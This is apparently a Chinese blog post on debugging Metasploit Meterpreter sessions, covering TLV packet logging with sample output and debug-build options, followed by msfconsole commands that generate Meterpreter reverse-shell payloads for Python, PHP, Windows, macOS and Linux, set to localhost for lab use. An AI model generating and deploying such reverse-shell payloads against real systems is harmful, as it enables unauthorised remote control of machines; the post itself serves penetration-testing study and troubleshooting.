Metasploit进阶笔记之调试Meterpreter会话


目前有两种主要方法来调试 Meterpreter 会话:

  1. 记录 msfconsole 和 Meterpreter 之间的所有网络请求,即 TLV 数据包。
  2. 生成一个带有额外日志记录的自定义 Meterpreter 调试版本。

一、记录 Meterpreter 的 TLV 数据包

此功能可以用于任何 Meterpreter 会话,并且不需要 Metasploit 的调试版本:

msf6 > setg SessionTlvLogging true
SessionTlvLogging => true

允许设置为以下值:

  • setg SessionTlvLogging true - 启用网络日志记录,默认为输出到控制台
  • setg SessionTlvLogging false - 禁用所有网络日志记录
  • setg SessionTlvLogging console - 将日志记录到当前的 msfconsole 实例
  • setg SessionTlvLogging file:/tmp/session.txt - 将网络流量日志写入指定的文件

输出示例:

meterpreter > getenv USER

SEND: #<Rex::Post::Meterpreter::Packet type=Request         tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=COMMAND_ID      meta=INT        value=1052 command=stdapi_sys_config_getenv>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST_ID      meta=STRING     value="73717259684850511890564936718272">
  #<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE    meta=STRING     value="USER">
]>

RECV: #<Rex::Post::Meterpreter::Packet type=Response        tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=UUID            meta=RAW        value="Q\xE63_onC\x9E\xD71\xDE3\xB5Q\xE24">
  #<Rex::Post::Meterpreter::Tlv type=COMMAND_ID      meta=INT        value=1052 command=stdapi_sys_config_getenv>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST_ID      meta=STRING     value="73717259684850511890564936718272">
  #<Rex::Post::Meterpreter::Tlv type=RESULT          meta=INT        value=0>
  #<Rex::Post::Meterpreter::GroupTlv type=ENV_GROUP       tlvs=[
    #<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE    meta=STRING     value="USER">
    #<Rex::Post::Meterpreter::Tlv type=ENV_VALUE       meta=STRING     value="demo_user">
  ]>
]>

Environment Variables
=====================

Variable  Value
--------  -----
USER      demo_user

二、Meterpreter 调试版本

生成 Meterpreter payload 时可以指定以下选项:

  • MeterpreterDebugBuild - 设置为 true 时,生成的 Meterpreter payload 将包含额外的日志记录。
  • MeterpreterDebugLogging - 配置日志记录模式。目前只支持将日志写入远程主机上的文件。需要将 MeterpreterDebugBuild 设置为 true。示例值:setg MeterpreterDebugLogging rpath:/tmp/meterpreter_log.txt
  • MeterpreterTryToFork - 设置为 true 时,Meterpreter payload 将尝试从当前运行的进程中分叉。设置为 false 有助于查看发生的任何标准输出日志。

调试版本会包含额外的日志语句,因此可能会更容易被检测到。这些调试版本适用于 A/V 不运行的环境、用于学习的本地实验室,或者用于报告 Metasploit 问题等场景。
Python

use payload/python/meterpreter_reverse_tcp
generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false
to_handler

python3 shell.py

PHP

use payload/php/meterpreter_reverse_http
generate -o shell.php -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true
to_handler

php shell_http.php

Windows

use windows/x64/meterpreter_reverse_tcp
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt'

to_handler

Mac

use osx/x64/meterpreter_reverse_tcp
generate -f macho -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt'

to_handler

Linux

use linux/x64/meterpreter_reverse_tcp
generate -f elf -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt'

to_handler

Java
功能不支持

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间酒中仙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值